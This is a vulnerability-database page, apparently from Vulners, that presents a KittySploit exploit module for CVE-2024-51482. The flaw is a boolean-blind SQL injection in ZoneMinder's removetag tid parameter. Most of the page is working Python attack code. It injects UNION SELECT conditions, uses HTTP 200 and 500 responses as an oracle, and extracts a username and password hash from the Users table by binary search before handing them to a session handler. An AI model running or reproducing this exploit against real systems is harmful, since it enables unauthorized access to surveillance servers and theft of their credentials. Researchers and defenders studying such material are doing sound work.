Lucene search
+L

ZoneMinder CVE-2024-51482 removetag SQLi

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 10 Views

Authenticated boolean-blind SQLi in ZoneMinder ajax/event.php removetag tid parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2024-51482
7 Mar 202623:56
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
3 Oct 202621:07
–githubexploit
githubexploit
GithubExploit
ofensive-playbook
16 Apr 202616:40
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
10 Jul 202607:37
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
7 Jun 202523:22
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
8 Mar 202601:42
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
7 Mar 202622:47
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2024-51482
8 Mar 202618:31
–githubexploit
githubexploit
GithubExploit
ffensive-playbook
16 Apr 202616:40
–githubexploit
alpinelinux
AlpineLinux
CVE-2024-51482
31 Oct 202418:15
–alpinelinux
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZoneMinder CVE-2024-51482 authenticated boolean-blind SQLi."""

from __future__ import annotations

import re
from concurrent.futures import ThreadPoolExecutor

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ZoneMinder CVE-2024-51482 removetag SQLi",
        "description": (
            "CVE-2024-51482 (ZoneMinder <= 1.37.64): boolean SQLi in ajax/event.php "
            "removetag tid parameter (HTTP 200=true, 500=false). Extracts credentials."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2024-51482"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-51482",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["zoneminder", "sqli", "authenticated", "cve-2024-51482"],
        "agent": {
            "risk": "intrusive",
            "effects": ["data_exfiltration", "credential_access"],
            "expected_requests": 200,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials", "http_session"],
            "requires": {"tech_hints_any": ["zoneminder"]},
            "chain": {"suggested_followups": ["scanner/http/cve_2024_51482_detect"]},
        },
    }

    zm_path = OptString("/zm", "ZoneMinder base path", required=False)
    session_cookie = OptString("", "ZMSESSID=... session cookie", required=True)
    extract_maxlen = OptInt(64, "Max length for extracted scalar", required=False, advanced=True)

    def _apply_cookies(self) -> None:
        raw = str(self.session_cookie or "").strip()
        for part in raw.split(";"):
            part = part.strip()
            if "=" in part:
                k, v = part.split("=", 1)
                self.session.cookies.set(k.strip(), v.strip())

    def _index_path(self) -> str:
        p = str(self.zm_path or "/zm").strip().rstrip("/")
        return (p if p.startswith("/") else f"/{p}") + "/index.php"

    def _cond_true(self, expr: str) -> bool:
        params = {
            "view": "request",
            "request": "event",
            "action": "removetag",
            "tid": f"0 UNION SELECT 1,2,3,4 WHERE ({expr})",
        }
        resp = self.http_request("GET", self._index_path(), params=params)
        return resp is not None and int(resp.status_code or 0) == 200

    def _read_scalar(self, subq: str, maxlen: int | None = None) -> str:
        cap = int(maxlen or self.extract_maxlen or 64)
        lo, hi = 0, cap
        while lo < hi:
            mid = (lo + hi) // 2
            if self._cond_true(f"LENGTH(({subq}))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        length = lo
        out: list[str | None] = [None] * length

        def get_char(i: int) -> str:
            a, b = 0, 127
            while a < b:
                mid = (a + b) // 2
                if self._cond_true(f"ASCII(SUBSTRING(({subq}),{i + 1},1))>{mid}"):
                    a = mid + 1
                else:
                    b = mid
            return chr(a)

        with ThreadPoolExecutor(max_workers=8) as pool:
            for i, ch in zip(range(length), pool.map(get_char, range(length))):
                out[i] = ch
        return "".join(c for c in out if c)

    def check(self):
        self._apply_cookies()
        if self._cond_true("1=1") and not self._cond_true("1=2"):
            return {"vulnerable": True, "reason": "Boolean oracle OK", "confidence": "high"}
        return {"vulnerable": False, "reason": "Boolean SQLi oracle failed", "confidence": "medium"}

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2024-51482 — ZoneMinder blind SQLi extract")
        creds = self._read_scalar(
            "SELECT CONCAT(Username,0x3a,Password) FROM Users LIMIT 1",
            maxlen=200,
        )
        print_success(f"Extracted: {creds[:500]}")

        session_id = self.handler_http(
            self.session,
            additional_data={"zoneminder_creds": creds, "cookie": str(self.session_cookie or "")},
        )
        return bool(session_id)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.9
EPSS0.3661
SSVC
10